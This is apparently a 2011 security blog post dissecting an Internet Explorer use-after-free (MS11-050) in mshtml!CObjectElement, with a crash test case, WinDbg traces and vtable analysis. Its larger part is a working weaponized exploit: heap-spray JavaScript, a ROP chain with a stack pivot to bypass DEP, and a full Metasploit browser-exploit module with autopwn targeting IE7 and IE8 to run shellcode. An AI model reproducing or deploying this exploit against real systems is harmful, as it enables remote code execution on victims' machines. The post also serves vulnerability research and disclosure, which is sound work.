Thursday, June 16, 2011

Insecticides don't kill bugs, Patch Tuesdays do

Patch Tuesdays kill bugs. This post is about a bug that I had independently found and written an exploit for that was killed last Tuesday with bulletin MS11-050. I'm not sure which CVE this vulnerability has been assigned, all I know is that [UPDATE] It's definitely CVE-2011-1260 - see Jose's (of spa-s3c.blogspot.com) blog post about it (he originally submitted it to ZDI (ZDI-11-194) -> MS). MS11-050 has fixed the vulnerability I was using to achieve RCE on IE 7 and 8 (6 and 9 are also affected, but I didn't make a working exploit for them). This blog post goes over some of the details of the vulnerability, as well as the exploit that I've made for it. Note that all examples in this post were made with IE 8.

The Vuln

What

The vuln is a use-after-free vulnerability in Internet Explorer. This occurs when invalid mshtml!CObjectElements are handled. When an invalid <object> element exists in a web page that is covered by other visible html elements (due to their positioning or styles), formats get computed on a previously-freed mshtml!CObjectElement. If other data has happened to be written over where the object element used to be in memory, invalid values may be used when the freed object is handled (such as a vtable pointer).

A simple test case is below:
<html>
    <body>
        <script language='javascript'>
            document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
            document.body.innerHTML += "AAAAAAA";
            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
        </script>
    </body>
</html>
Loading this up in a vulnerable version of Internet Explorer should give you a crash on an access violation like the one below:
(170.5c8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=01e88df0 ecx=001f000d edx=00000000 esi=0162c2e8 edi=00000000
eip=3cf76b82 esp=0162c2bc ebp=0162c2d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::Doc+0x2:
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????
The function it is crashing in is the mshtml!CElement::Doc function:
0:008> u mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76b80 8b01            mov     eax,dword ptr [ecx]
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] <-- crashes here
3cf76b85 ffd2            call    edx
3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf76b8a c3              ret
3cf76b8b 90              nop
3cf76b8c 90              nop
3cf76b8d 90              nop
The backtrace should look like this:
0:008> knL
 # ChildEBP RetAddr  
00 0162c2b8 3cf14ae1 mshtml!CElement::Doc+0x2
01 0162c2d4 3cf14d4a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162c580 3cf239fe mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162c590 3cf239be mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162c5a0 3cf239a5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162c5b4 3d0a6d9f mshtml!CTreeNode::GetFancyFormat+0x35
06 0162c5bc 3d0a6cfa mshtml!CLineCore::AO_GetFancyFormat+0x23
07 0162c5f0 3cf69f34 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
08 0162cde8 3cfb98e4 mshtml!CDisplay::RecalcLines+0x6e4
09 0162cec4 3cf25d39 mshtml!CDisplay::WaitForRecalc+0x208
0a 0162cf14 3cf4938b mshtml!CFlowLayout::Notify+0x7d7
0b 0162cf20 3cf4745e mshtml!NotifyElement+0x41
0c 0162cf74 3cf473f5 mshtml!CMarkup::SendNotification+0x60
0d 0162cf9c 3cf5254a mshtml!CMarkup::Notify+0xd4
0e 0162cfe4 3cf256ea mshtml!CElement::SendNotification+0x4a
0f 0162d008 3cef1318 mshtml!CElement::EnsureRecalcNotify+0x15f
10 0162d084 3cef2461 mshtml!CDisplayPointer::MoveUnit+0x2b2
11 0162d170 3cef22ce mshtml!CHTMLEditor::AdjustPointer+0x16f
12 0162d1a4 3cef34ed mshtml!CEditTracker::AdjustPointerForInsert+0x8b
13 0162d200 3cef3361 mshtml!CCaretTracker::PositionCaretAt+0x141
Now that you know a little about the crash, you want to know more or less what's going on, right? After some initial sleuthing, I set the breakpoints below to print out the type of objects that were being allocated and freed by printing out their vtable pointer.
0:008> bl
 0 e 635a6811     0001 (0001)  0:**** mshtml!CreateElement+0x57 ".printf \"mshtml!CreateElement created element at %08x, of type: %08x\\n\", poi(ebp+10), poi(poi(ebp+10)); g"
 1 e 6362582e     0001 (0001)  0:**** mshtml!CTreeNode::Release+0x27 ".printf \"mshtml!CTreeNode::Release, freeing pointer to obj at %08x, obj at %08x, of type %08x\\n\", edx, poi(edx), poi(poi(edx)); g"
 2 e 635a3272     0001 (0001)  0:**** mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x, ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"
After setting the breakpoints and reloading the test case in Internet Explorer, windbg should print out something like this:
 0:016> g
 ...
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f220, ref to obj 001f7c50 of type 637666e0 <--- EBX (23f220)
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f640, ref to obj 0021a1d8 of type 63630788
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f6f0, ref to obj 02bba4f0 of type 6362fa90
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f278, obj at 00213e48, of type 635afad0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f4e0, obj at 00218948, of type 635af850
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f380, obj at 002140b0, of type 635ba8c0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f488, obj at 002185e8, of type 635af580
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f328, obj at 00218648, of type 635a21b0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f118, obj at 0021a088, of type 635ad1f8
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f118, ref to obj 00218618 of type 635a21b0
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f488, ref to obj 00218588 of type 635af580
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f380, ref to obj 00218408 of type 635af850
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f4e0, ref to obj 00213b70 of type 635afad0
 mshtml!CTreeNode::CTreeNode allocated obj at 0023f278, ref to obj 00213e10 of type 635ba8c0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f220, obj at 001f7c50, of type 637666e0 <--- EBX (23f220)
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f4e0, obj at 00213b70, of type 635afad0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f380, obj at 00218408, of type 635af850
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f278, obj at 00213e10, of type 635ba8c0
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f488, obj at 00218588, of type 635af580
 mshtml!CTreeNode::Release, freeing pointer to obj at 0023f118, obj at 00218618, of type 635a21b0
 (d30.ab4): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=00000000 ebx=0023f220 ecx=001f00bd edx=00000000 esi=020be380 edi=00000000 <--- EBX is 23f220
 eip=6363fcc6 esp=020be354 ebp=020be36c iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
 mshtml!CElement::Doc+0x2:
 6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????
Now that we know the vtable pointer of the object (637666e0), a quick lookup will tell us which object we are dealing with:
0:008> ln 637666e0
(637666e0)   mshtml!CObjectElement::`vftable'   |  (63639e88)   mshtml!CDummyUnknown::`vftable'
Exact matches:
 mshtml!CObjectElement::`vftable' = <no type information>
ebx in this instance is the pointer to the object that IE is calling the Doc function on, eax then becomes the vtable pointer, and edx is supposed to be the valid function on the CObjectElement that is supposed to be called:
(.frame 1 - mshtml!CTreeNode::ComputeFormats+0xb)
3cf14ada 8b0b            mov     ecx,dword ptr [ebx]     <-- ebx = pointer to a CObjectElement
                                                             ecx = pointer to vtable
3cf14adc e89f200600      call    mshtml!CElement::Doc (3cf76b80)
...
(mshtml!CElement::Doc)
3cf76b80 8b01            mov     eax,dword ptr [ecx]     <-- eax = CObjectElement vtable
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] <-- edx = function (vtable+0x70)
3cf76b85 ffd2            call    edx
3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
The function that was supposed to be called is the mshtml!CElement::SecurityContext function:
0:008> x mshtml!CObjectElement*vftable*
3d2db488 mshtml!CObjectElement::`vftable' = 
0:008> ?  3d2db488+70
Evaluate expression: 1026405624 = 3d2db4f8

(memory @ 3d2db488 - pointer and symbol:)
00 3d2db488 3cf93385 mshtml!CObjectElement::PrivateQueryInterface
04 3d2db48c 3cf89f6d mshtml!CElement::PrivateAddRef
08 3d2db490 3cf7e481 mshtml!CElement::PrivateRelease
0c 3d2db494 3d2db6e9 mshtml!CObjectElement::`vector deleting destructor'
10 3d2db498 3cebe591 mshtml!CSite::Init
14 3d2db49c 3d2db72e mshtml!CObjectElement::Passivate
18 3d2db4a0 3cf79975 mshtml!CBase::IsRootObject
1c 3d2db4a4 3cf08e95 mshtml!CBase::EnumerateTrackedReferences
20 3d2db4a8 3d1a9a42 mshtml!CBase::SetTrackedState
24 3d2db4ac 3cf4581e mshtml!CElement::GetInlineStylePtr
28 3d2db4b0 3cf2381f mshtml!CElement::GetRuntimeStylePtr
2c 3d2db4b4 3d246af6 mshtml!CBase::VersionedGetIDsOfNames
30 3d2db4b8 3d1cd70f mshtml!CElement::VersionedInvoke
34 3d2db4bc 3d2def3c mshtml!COleSite::VersionedGetDispID
38 3d2db4c0 3d2db832 mshtml!CObjectElement::VersionedInvokeEx
3c 3d2db4c4 3d200dcb mshtml!CBase::VersionedDeleteMemberByName
40 3d2db4c8 3d200e47 mshtml!CBase::VersionedDeleteMemberByDispID
44 3d2db4cc 3cf41bde mshtml!CBase::VersionedGetNextDispID
48 3d2db4d0 3d00deae mshtml!CBase::VersionedGetMemberName
4c 3d2db4d4 3cf41bde mshtml!CBase::VersionedGetNextDispID
50 3d2db4d8 3d246b45 mshtml!CBase::VersionedGetNameSpaceParent
54 3d2db4dc 3d2011b2 mshtml!CBase::GetEnabled
58 3d2db4e0 3d2011b2 mshtml!CBase::GetEnabled
5c 3d2db4e4 3d2df38e mshtml!COleSite::GetPages
60 3d2db4e8 3d2df340 mshtml!COleSite::InterfaceSupportsErrorInfo
64 3d2db4ec 3d2de127 mshtml!CObjectElement::QueryStatus
68 3d2db4f0 3d2de1a7 mshtml!CObjectElement::Exec
6c 3d2db4f4 3cf492cc mshtml!CFlowLayout::IsFlowOrSelectLayout
70 3d2db4f8 3cf76b50 mshtml!CElement::SecurityContext

Why

I noticed that if I comment out one of the tags in the test case (to keep IE from crashing),
<html>
    <body>
        <script language='javascript'>
            document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
            //document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
            document.body.innerHTML += "AAAAAAA";
            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
        </script>
    </body>
</html>
and then go into the developer tools and look at the current state of the DOM, the <object> element doesn't show up, probably because I never specified which type of object it needs to be:


Knowing this, taking another look at the stacktrace of a crash should give us the gist of the rest:
0:008> k
ChildEBP RetAddr  
020be350 63602718 mshtml!CElement::Doc+0x2
020be36c 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
020be618 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
020be628 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
020be638 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
020be64c 637d29ab mshtml!CTreeNode::GetFancyFormat+0x35
020be654 637d2906 mshtml!CLineCore::AO_GetFancyFormat+0x23
020be688 63675c93 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
020bee80 6369985f mshtml!CDisplay::RecalcLines+0x6e4
020bef5c 6361c037 mshtml!CDisplay::WaitForRecalc+0x208
020befac 636514de mshtml!CFlowLayout::Notify+0x7d7
020befb8 636017f2 mshtml!NotifyElement+0x41
020bf00c 6365134f mshtml!CMarkup::SendNotification+0x60
020bf034 63666bc1 mshtml!CMarkup::Notify+0xd4
020bf07c 6361bf07 mshtml!CElement::SendNotification+0x4a
020bf0a0 635d82b7 mshtml!CElement::EnsureRecalcNotify+0x15f
020bf11c 635cc225 mshtml!CDisplayPointer::MoveUnit+0x2b2
020bf208 635cc092 mshtml!CHTMLEditor::AdjustPointer+0x16f
020bf23c 635cd2af mshtml!CEditTracker::AdjustPointerForInsert+0x8b
020bf298 635cd123 mshtml!CCaretTracker::PositionCaretAt+0x141
My guess of the overall flow of things leading up to the crash is that the <object> element was initially added to some list of elements to be displayed. The object element then gets deleted because it is invalid and has nothing to display, but it isn't removed from the list. Something happens with the layout where formats need to be recalculated, and IE tries to call a method on the freed object, leading to the use-after-free.

The Exploit

The basic plan for exploiting this vulnerability should be to cause the <object> element to be freed, get data that we control to overwrite the freed object, and then do something that would cause functions to be called on the object element. Simple enough. The exploit for IE7 and IE8 with DEP disabled involves your basic heap spray (nops + shellcode) and overwriting the CObjectElement with 0c0c0c0cs. Once the mshtml!CElement::Doc function is called, code execution should go something like this:
mshtml!CElement::Doc:
3cf76b80 8b01            mov     eax,dword ptr [ecx]  ds:0023:147f00a7=0c0c0c0c
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=0c0c0c0c
3cf76b85 ffd2            call    edx {<Unloaded_sspc.dll>+0xc0c0c0b (0c0c0c0c)} <-- (execute nops+shellcode)
3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf76b8a c3              ret
The exploit for IE8 with DEP enabled required a ROP payload: the CObjectElement is overwritten with 0c0c0c0cs, a second heap-spray should land the ROP stack at 0c0c0c0c, and a third heap-spray should land the nops + shellcode at 0x23000000. Once everything is all setup, the ROP stack should be found at 0c0c0c0c and should look like this:
0c0c0c0c 7c809af1 ; 1:kernel32!VirtualAlloc (first ret)
0c0c0c10 7c901db3 ; 2:ntdll!memcpy (second ret)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:flProtect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
0c0c0c34 be9e2688 ; random
0c0c0c38 f285b61c ; random
0c0c0c3c e8f23175 ; random
0c0c0c40 6f2edb99 ; random
0c0c0c44 bd93f4eb ; random
0c0c0c48 527787a7 ; random
0c0c0c4c 4991e07d ; random
0c0c0c50 1513dcf2 ; random
0c0c0c54 7b40bc07 ; random
0c0c0c58 ba54da55 ; random
0c0c0c5c 5177fafb ; random
0c0c0c60 b1dfcf01 ; random
0c0c0c64 6643baa9 ; random
0c0c0c68 2136edc5 ; random
0c0c0c6c 31fd6e6b ; random
0c0c0c70 f4a9dcd0 ; random
0c0c0c74 de2f62e1 ; random
0c0c0c78 a19314eb ; random
0c0c0c7c 773e3f18 ; comctl32!CImageList::_IsSameObject+0x40 ; stack pivot
0c0c0c80 3825a2d7 ; random
0c0c0c84 88f8a84d ; random
0c0c0c88 0566b421 ; random
Once the mshtml!CElement::Doc function is called, code execution should look like this:
mshtml!CElement::Doc:
3cf76b80 8b01            mov     eax,dword ptr [ecx]  ds:0023:35a00002=0c0c0c0c
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=773e3f18
3cf76b85 ffd2            call    edx {comctl32!CImageList::_IsSameObject+0x40 (773e3f18)} ; stack pivot
The first ROP gadget is a stack-pivot that exchanges esp with eax (0c0c0c0c):
0:007> u comctl32!CImageList::_IsSameObject+40 L?2
comctl32!CImageList::_IsSameObject+0x40:
773e3f18 94              xchg    eax,esp  ; esp is now 0c0c0c0c
773e3f19 c3              ret              ; ret to kernel32!VirtualAlloc
After the stack-pivot is called, the stack (esp) should be at 0c0c0c0c. When the stack-pivot rets, it will ret into kernel32!VirtualAlloc, after which the ROP-stack should look like this:
mem @ esp (rop stack):
0c0c0c10 7c901db3 ; 2:ntdll!memcpy (second ret)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:flProtect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
kernel32!VirtualAlloc should then allocate 0x4000 read/write/execute bytes at address 0x7f000000 and return to ntdll!memcpy:
kernel32!VirtualAlloc:
7c809af1 8bff            mov     edi,edi
7c809af3 55              push    ebp
7c809af4 8bec            mov     ebp,esp
7c809af6 ff7514          push    dword ptr [ebp+14h]  ss:0023:0c0c0c20=00000040 ; flProtect (rwx)
7c809af9 ff7510          push    dword ptr [ebp+10h]  ss:0023:0c0c0c1c=00003000 ; flAllocationType (MEM_COMMIT | MEM_RESERVE)
7c809afc ff750c          push    dword ptr [ebp+0Ch]  ss:0023:0c0c0c18=00004000 ; dwSize
7c809aff ff7508          push    dword ptr [ebp+8]    ss:0023:0c0c0c14=7f000000 ; lpAddress
7c809b02 6aff            push    0FFFFFFFFh
7c809b04 e809000000      call    kernel32!VirtualAllocEx (7c809b12)
7c809b09 5d              pop     ebp
7c809b0a c21000          ret     10h                                            ; ret to ntdll!memcpy
After the ret to ntdll!memcpy, the ROP-stack should look like this:
mem @ esp:
0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
ntdll!memcpy should then copy 0x2fff bytes from 0x23000100 (should be nops+shellcode) to 0x7f001000 (rwx memory allocated by call to VirtualAlloc) and return to the nops+shellcode at 0x7f001000:
ntdll!memcpy:
7c901db3 55              push    ebp
7c901db4 8bec            mov     ebp,esp
7c901db6 57              push    edi
7c901db7 56              push    esi
7c901db8 8b750c          mov     esi,dword ptr [ebp+0Ch] ss:0023:0c0c0c2c=23000100 ; src
7c901dbb 8b4d10          mov     ecx,dword ptr [ebp+10h] ss:0023:0c0c0c30=00002fff ; size
7c901dbe 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0c0c0c28=7f001000   ; dst
...
7c901de6 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]               ; copy nops+shellcode to 0x7f001000
...
7c901f4d c9              leave
7c901f4e c3              ret                                                       ; ret to 7f001000 (nops+shellcode)
Below is the metasploit module I've made to exploit this vulnerability. I've tested it on a 32-bit WinXP SP3 fully patched up to (not including) this month's (June's) patches:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "7.0",
        :ua_maxver  => "8.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :vuln_test  => nil, 
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'IE mshtml!CObjectElement Use After Free',
            'Description'    => %q{
                This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability
                occurs when an invalid <object> tag exists and other elements overlap/cover where the object
                tag should be when rendered (due to their styles/positioning). The mshtml!CObjectElement is
                then freed from memory because it is invalid. However, the mshtml!CDisplay object for the page 
                continues to keep a reference to the freed <object> and attempts to call a function on it,
                leading to the use-after-free.
            },
            'Author'         =>
                [
                    'd0c_s4vage',
                ],
            'Version'        => 'Version 1.0',
            'References'     =>
                [
                    ["MSB", "MS11-050"],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00\x09\x0a\x0d'\\",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],

                    # In IE6 the mshtml!CObjectElement size is 0xac

                    [ 'Internet Explorer 7', # 7.0.5730.13
                        {
                            # sizeof(mshtml!CObjectElement)
                            'FreedObjSize' =>  0xb0,
                            'FakeObjCount' => 0x4000,
                            'FakeObjCountKeep' => 0x2000,
                            'ForLoopNumObjects' => 3,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>0,
                            'ROP' => false,
                        }
                    ],

                    [ 'Internet Explorer 8 (no DEP)', # 8.0.6001.18702
                        {
                            # sizeof(mshtml!CObjectElement)
                            'FreedObjSize' =>  0xe0, # 0xdc rounded up
                            'FakeObjCount' => 0x8000,
                            'FakeObjCountKeep' => 0x3000,
                            'ForLoopNumObjects' => 5,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>0,
                            'ROP' => false,
                        }
                    ],

                    [ 'Internet Explorer 8',
                        {
                            'FreedObjSize' =>  0xe0, # 0xdc rounded up
                            'FakeObjCount' => 0x8000,
                            'FakeObjCountKeep' => 0x3000,
                            'ForLoopNumObjects' => 5,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>2,
                            'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
                            'ROP' => true,
                        }
                    ],

                    [ 'Debug Target (Crash)',
                        {
                        }
                    ],
                ],
            'DisclosureDate' => 'June 16 2011',
            'DefaultTarget'  => 0))
    end

    def auto_target(cli, request)
        agent = request.headers['User-Agent']
        if agent =~ /MSIE 8\.0/
            mytarget = targets[3] # IE 8
        elsif agent =~ /MSIE 7\.0/
            mytarget = targets[1]
        else
            print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
        end

        mytarget
    end

    
    # 3/22/2011
    # fully patched x32 WinXP SP3, IE 8.0.6001.18702
    def winxp_sp3_rva
        {
            "kernel32!VirtualAlloc"                => 0x7c809af1,
            "ntdll!memcpy"                        => 0x7c901db3,
        }
    end

    def compile_rop(rop_stack)
        rva = winxp_sp3_rva()
        num_random = 0
        rop_stack.map do |rop_val|
            case rop_val
            when String
                if rop_val == "random"
                    # useful for debugging
                    # num_random += 1
                    # 0xaabbcc00 + num_random
                    rand(0xffffffff)
                else
                    raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
                    rva[rop_val]
                end
            when Integer
                rop_val
            else
                raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
            end
        end.pack("V*")
    end

    def on_request_uri(cli, request)
        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            unless mytarget
                send_not_found(cli)
                return
            end
        end
        @mytarget = mytarget
        @debug = true if mytarget == targets[4]

        return if ((p = regenerate_payload(cli)) == nil)

        if @debug
            data = <<-DATA
                <html>
                    <body>
                        <script language='javascript'>
                            document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
                            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                            document.body.innerHTML += "AAAAAAA";
                            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
                        </script>
                    </body>
                </html>
            DATA
            print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
            send_response(cli, data, { 'Content-Type' => 'text/html' })
            return
        end

        raw_shellcode = payload.encoded
        shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

        spray = nil
        rop_shellcode_spray = nil

        obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

        if @mytarget['ROP']
            rop_stack = []
            0x1f.times do |i|
                rop_stack << "random"
            end

            idx = -1
            idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc"        # 1:
            idx += 1 ; rop_stack[idx] = "ntdll!memcpy"                # 2:ret 10 to this after VirtualAlloc
            idx += 1 ; rop_stack[idx] = 0x7f000000                    # 1:VirtualAlloc:lpAddress
            idx += 1 ; rop_stack[idx] = 0x4000                        # 1:VirtualAlloc:dwSize
            idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000)            # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
            idx += 1 ; rop_stack[idx] = 0x40                        # 1:VirtualAlloc:flProtect rwx
            idx += 1 ; rop_stack[idx] = 0x7f001000                    # 3:into this after memcpy
            idx += 1 ; rop_stack[idx] = 0x7f001000                    # 2:memcpy:dst
            idx += 1 ; rop_stack[idx] = 0x23000100                    # 2:memcpy:src
            idx += 1 ; rop_stack[idx] = 0x2fff                        # 2:memcpy:size

            # align the rest of it
            back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
            rop_stack = back + rop_stack

            rop_stack << @mytarget['StackPivot']

            # align the stack for 0c0c0c0c
            front = rop_stack.slice!(0, 19)
            rop_stack = rop_stack + front

            # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
            rop = compile_rop(rop_stack)

            nops = make_nops(0x1000 - raw_shellcode.length)
            nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

            rop_shellcode_spray = <<-JS
                // spray up to 0x23000000
                var shellcode = unescape("#{shellcode}");
                var nops = unescape("#{nops}");
                while(nops.length < 0x1000) nops += nops;
                var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
                while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
                shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
                for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
            JS

            spray = rop
            shellcode = ""
        else
            spray = obj_overwrite_ptr
        end

        spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

        js = <<-JS
            heap_obj = new heapLib.ie(0x20000);
            var heapspray = unescape("#{spray}");
            while(heapspray.length < 0x1000) heapspray += heapspray;
            var shellcode = unescape("#{shellcode}");
            var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
            var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
            var front = heapblock.substring(0, offset);
            var end = heapblock.substring(offset);
            heapblock = end + front;
            while(heapblock.length < 0x20000) heapblock += heapblock;
            finalspray = heapblock.substring(0, (0x10000-6)/2);
            for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

            #{rop_shellcode_spray}

            var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
            while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
            obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

            for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
                document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
            }

            for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
            for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
            document.body.innerHTML += "AAAA";
            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
        JS
        opts = {
            'Symbols' => {
                'Variables' => %w{ heap_obj heapspray shellcode heapblock offset front end finalspray counter1
                                   obj_overwrite counter2 counter3 num_objs_counter counter4 counter5
                                   nops shell_heapblock shell_finalspray shell_counter
                                   fill_free_objs freeme keepme1 keepme2 },
                'Methods' => %w{  }
            }
        }
        js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
        # js.obfuscate()
        js = heaplib(js)

        html = <<-HTML
            <html>
                <body>
                    <script language='javascript'>
                    #{js}
                    </script>
                </body>
            </html>
        HTML

        print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end
Laters

20 comments:

  1. Pretty sure this is CVE-2011-1260

    ReplyDelete
  2. Excellent work as usual Nephi!

    ReplyDelete
  3. http://dev.metasploit.com/redmine/projects/framework/repository/revisions/12956

    Don't know if you are sinn3r or not, but they seem to have relicensed your code from here under their terms, not sure if you were area of this or not, or if you were asked.

    Thanks for the well written post though!

    ReplyDelete
  4. Dear Anonymous,

    I'm that "sinn3r" guy. Yes, I asked for d0c_s4vage's permission. He is that awesome :-)

    Cheers.

    ReplyDelete
